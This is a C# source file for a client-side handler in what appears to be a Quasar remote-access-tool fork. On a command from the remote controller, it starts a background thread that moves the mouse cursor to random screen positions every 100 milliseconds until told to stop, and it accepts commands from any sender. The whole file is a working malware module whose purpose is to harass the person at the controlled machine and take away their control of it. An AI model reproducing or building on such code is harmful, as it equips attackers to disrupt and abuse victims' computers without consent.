using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace Quasar.Client.Messages
{
    public class CursorChaosHandler : IMessageProcessor, IDisposable
    {
        [DllImport("user32.dll")]
        private static extern bool SetCursorPos(int x, int y);

        private Thread _thread;
        private volatile bool _running;

        public bool CanExecute(IMessage message) => message is DoStartCursorChaos || message is DoStopCursorChaos;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoStartCursorChaos _: Start(); break;
                case DoStopCursorChaos _: Stop(); break;
            }
        }

        private void Start()
        {
            if (_running) return;
            _running = true;
            _thread = new Thread(() =>
            {
                var rng = new Random();
                while (_running)
                {
                    try
                    {
                        int x = rng.Next(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Right);
                        int y = rng.Next(SystemInformation.VirtualScreen.Top, SystemInformation.VirtualScreen.Bottom);
                        SetCursorPos(x, y);
                    }
                    catch { }
                    Thread.Sleep(100);
                }
            });
            _thread.IsBackground = true;
            _thread.Start();
        }

        private void Stop() => _running = false;

        public void Dispose() => Stop();
    }
}